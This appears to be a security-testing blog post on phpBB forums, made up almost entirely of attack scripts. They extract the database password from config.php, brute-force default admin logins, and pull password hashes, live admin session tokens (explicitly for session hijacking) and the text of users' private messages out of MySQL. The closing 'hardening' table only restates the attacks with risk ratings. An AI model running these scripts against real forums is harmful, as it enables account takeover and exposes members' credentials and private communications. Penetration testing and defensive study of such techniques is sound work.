Forum Security Testing

phpBB Security Testing: Default Credentials, API Key, Database, and Forum

📅 July 3, 2026 ⏱ 10 min read 🏷 phpBB, Forum Security, config.php, MySQL, ACP, Admin Credentials, Session Hijacking, phpbb_users, Private Messages, File Upload, SQL Injection, Table Prefix

config.php MySQL Credential and Table Prefix Extraction

# phpBB — config.php MySQL credential and table prefix extraction
PHPBB_URL="https://forum.example.com"

# config.php — phpBB database configuration (CRITICAL)
cat /var/www/phpbb/config.php 2>/dev/null
# $dbms = 'phpbb\db\driver\mysqli';
# $dbhost = 'localhost';
# $dbname = 'phpbb';
# $dbuser = 'phpbb';
# $dbpasswd = '...';            <-- MySQL database password
# $table_prefix = 'phpbb_';    <-- used for all DB queries

python3 -c "
import re
content = open('/var/www/phpbb/config.php').read()
patterns = {
    'dbpasswd': r\"\\\\\$dbpasswd\s*=\s*'([^']+)'\",
    'dbuser': r\"\\\\\$dbuser\s*=\s*'([^']+)'\",
    'dbname': r\"\\\\\$dbname\s*=\s*'([^']+)'\",
    'table_prefix': r\"\\\\\$table_prefix\s*=\s*'([^']+)'\",
    'acm_type': r\"\\\\\$acm_type\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Check config.php web exposure
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PHPBB_URL}/config.php" 2>/dev/null)
echo "config.php: HTTP ${STATUS}"
# Should return 200 with blank output (PHP processes it) or 403
# 200 with content visible = EXPOSED

# Check /install/ directory accessibility
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PHPBB_URL}/install/" 2>/dev/null)
echo "/install/: HTTP ${STATUS}"
# Should be 404 or blocked — 200/403 = installer present

ACP Admin Credential and Session Token Assessment

# phpBB ACP — admin credential and session token assessment
PHPBB_URL="https://forum.example.com"

# phpBB ACP (Administration Control Panel) at /adm/
# Requires re-authentication even when logged in as admin
for CRED in "admin:admin" "admin:phpbb" "admin:password" "administrator:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Step 1: Get forum login form token
  CREATION_TIME=$(curl -s "${PHPBB_URL}/ucp.php?mode=login" | \
    grep -oP 'creation_time" value="\K[^"]+' | head -1 2>/dev/null)
  FORM_TOKEN=$(curl -s "${PHPBB_URL}/ucp.php?mode=login" | \
    grep -oP 'form_token" value="\K[^"]+' | head -1 2>/dev/null)
  # Step 2: Login
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${PHPBB_URL}/ucp.php?mode=login" \
    -d "username=${USER}&password=${PASS}&login=Login&creation_time=${CREATION_TIME}&form_token=${FORM_TOKEN}" \
    -c /tmp/phpbb_c -b /tmp/phpbb_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

# phpBB REST API (phpBB 3.3+) — OAuth2 token endpoint
curl -s "${PHPBB_URL}/app.php/api" 2>/dev/null | head -3

# Session token from URL/cookie — test for session fixation
# phpBB uses sid= parameter in URLs for legacy browsers
# and phpbb3_[hash]_sid cookies for modern browsers

MySQL User Hash, Private Message, and Session Extraction

# phpBB MySQL database — user hash, private message, and session extraction
DB_PASS="extracted-db-password"
PREFIX="phpbb_"  # extracted from config.php table_prefix

mysql -u phpbb -p"${DB_PASS}" phpbb 2>/dev/null << EOF
-- phpBB users with password hashes
SELECT u.user_id, u.username, u.user_email,
       u.user_password,          -- bcrypt in phpBB 3.x
       u.user_type,              -- 3 = admin
       u.user_regdate, u.user_lastvisit, u.user_ip
FROM ${PREFIX}users u
WHERE u.user_type IN (0, 3)      -- 0=normal, 3=admin
ORDER BY u.user_type DESC, u.user_id
LIMIT 20;
-- user_password: bcrypt (\$2y\$...) in phpBB 3.1+
-- older versions: salted MD5 or phpBB's own hash format

-- Active sessions (session hijacking)
SELECT s.session_id, s.session_user_id, s.session_ip,
       s.session_time, u.username
FROM ${PREFIX}sessions s
JOIN ${PREFIX}users u ON s.session_user_id = u.user_id
WHERE u.user_type = 3            -- admin sessions only
ORDER BY s.session_time DESC
LIMIT 10;
-- session_id: 32-char MD5 used as phpbb3_..._sid cookie

-- Admin group members
SELECT u.username, u.user_email, ug.group_name
FROM ${PREFIX}users u
JOIN ${PREFIX}user_group ugm ON u.user_id = ugm.user_id
JOIN ${PREFIX}groups ug ON ugm.group_id = ug.group_id
WHERE ug.group_name IN ('ADMINISTRATORS', 'GLOBAL_MODERATORS')
ORDER BY ug.group_name, u.user_id;

-- Private messages (user communications)
SELECT pm.msg_id, u_from.username as sender,
       pm.message_subject, pm.message_text,
       pm.message_time
FROM ${PREFIX}privmsgs pm
JOIN ${PREFIX}users u_from ON pm.author_id = u_from.user_id
ORDER BY pm.message_time DESC
LIMIT 20;
EOF

phpBB Security Hardening

Security Test	Method	Risk
config.php MySQL dbpasswd and table_prefix extraction	Read /var/www/phpbb/config.php — database credentials; table_prefix needed for all direct database queries	Critical
/install/ directory accessibility post-installation	GET /install/ — phpBB installer; enables database re-initialization and new admin account creation without authentication	Critical
Admin credential brute-force (admin/admin)	POST /ucp.php?mode=login — ACP administrator session; full forum administration including PHP template execution and extension management	High
phpbb_sessions admin session token extraction	MySQL SELECT session_id FROM phpbb_sessions WHERE admin — 32-char session ID usable as phpbb3_..._sid cookie for session hijacking	High
phpbb_users bcrypt and MD5 password hash extraction	MySQL SELECT user_password FROM phpbb_users — all user credential hashes; older phpBB MD5 hashes crack faster; admin account compromise	High